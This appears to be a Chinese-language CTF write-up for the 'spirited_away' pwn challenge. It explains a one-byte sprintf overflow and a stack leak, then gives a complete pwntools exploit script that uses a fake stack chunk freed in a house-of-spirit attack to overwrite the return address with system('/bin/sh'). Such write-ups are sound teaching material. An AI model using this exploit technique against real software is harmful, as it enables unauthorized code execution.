前言 这道题是栈溢出与堆溢出的结合,利用sprintf函数进行溢出。
程序分析 保护机制 1 2 3 4 5 6 7 ➜ spirit-away checksec ./spirited_away [*] '/mnt/hgfs/shared/tw/spirit-away/spirited_away' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
32位程序,只开启了NX
主要函数 survay函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 int survey () { char v1; size_t nbytes; size_t v3; char s; int v5; void *buf; int v7; nbytes = 0x3C ; v3 = 0x50 ; LABEL_2: memset (&s, 0 , 0x50 u); buf = malloc (0x3C u); printf ("\nPlease enter your name: " ); fflush(stdout ); read(0 , buf, nbytes); printf ("Please enter your age: " ); fflush(stdout ); __isoc99_scanf("%d" , &v5); printf ("Why did you came to see this movie? " ); fflush(stdout ); read(0 , &v7, v3); fflush(stdout ); printf ("Please enter your comment: " ); fflush(stdout ); read(0 , &s, nbytes); ++cnt; printf ("Name: %s\n" , buf); printf ("Age: %d\n" , v5); printf ("Reason: %s\n" , &v7); printf ("Comment: %s\n\n" , &s); fflush(stdout ); sprintf (&v1, "%d comment so far. We will review them as soon as we can" , cnt); puts (&v1); puts (&::s); fflush(stdout ); if ( cnt > 199 ) { puts ("200 comments is enough!" ); fflush(stdout ); exit (0 ); } while ( 1 ) { printf ("Would you like to leave another comment? <y/n>: " ); fflush(stdout ); read(0 , &choice, 3u ); if ( choice == 'Y' || choice == 'y' ) { free (buf); goto LABEL_2; } if ( choice == 'N' || choice == 'n' ) break ; puts ("Wrong choice." ); fflush(stdout ); } puts ("Bye!" ); return fflush(stdout ); }
可以发现实现的是一个留言板的功能,该程序存在两个漏洞:
利用read函数可以泄露出栈中的地址,其中包括libc和栈地址
sprintf函数存在单字节溢出
1 2 3 4 5 当cnt为三位数,例如100时 >>> len("100 comment so far. We will review them as soon as we can") 57 这时最后一个字节n会覆盖掉nbytes,这时nbyte==0x6e,在read buf和&s时都会产生溢出
解题思路
泄露libc和栈地址,并计算出system和“/bin/sh”的地址
在栈上布置好fake_chunk,利用&s的溢出覆盖buf的值为fake_chunk地址并进行free
利用buf(现在为栈地址)的溢出覆盖掉返回值
完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *context.terminal = ['tmux' ,'split' ,'-h' ] context.log_level = 'debug' p = process("./spirited_away" ) elf = ELF("./spirited_away" ) libc = ELF("/lib/i386-linux-gnu/libc-2.23.so" ) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) r = lambda : p.recv() ru = lambda x: p.recvuntil(x) rl = lambda : p.recvline() def gd () : gdb.attach(p,'b *0x0804a084' ) def leave (name,reason,comment) : sa('Please enter your name: ' , name) sa('Please enter your age: ' , '1\n' ) sa('Why did you came to see this movie? ' , reason) sa('Please enter your comment: ' , comment) def andone () : sa('Would you like to leave another comment? <y/n>: ' , 'y' ) for i in range(10 ): leave('kangel\0' ,'a\0' ,'b\0' ) andone() for i in range(90 ): sa('Please enter your age: ' , '1\n' ) sa('Why did you came to see this movie? ' , 'c\x00' ) sa('Would you like to leave another comment? <y/n>: ' , 'y' ) leave('kangel\0' ,'a' *0x14 +'bbbb' ,'123' ) ru("bbbb" ) libc_base = u32(p.recv(4 )) - 7 - libc.sym['_IO_file_sync' ] print hex(libc_base)system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search("/bin/sh" ).next() andone() leave('kangel\0' ,'a' *0x34 +'bbbb' ,'123' ) ru("bbbb" ) stack = u32(p.recv(4 )) - 0x70 print hex(stack)andone() reason = p32(0 ) + p32(0x41 ) + 'a' *0x38 + p32(0 ) + p32(0x11 ) comment = 'a' *0x54 + p32(stack+8 ) leave('kangel\0' ,reason,comment) andone() name = 'a' *0x4c + p32(system_addr) + p32(0xdeadbeef ) + p32(bin_sh) leave(name,'a\0' ,'b\0' ) sa('Would you like to leave another comment? <y/n>: ' , 'n' ) p.interactive()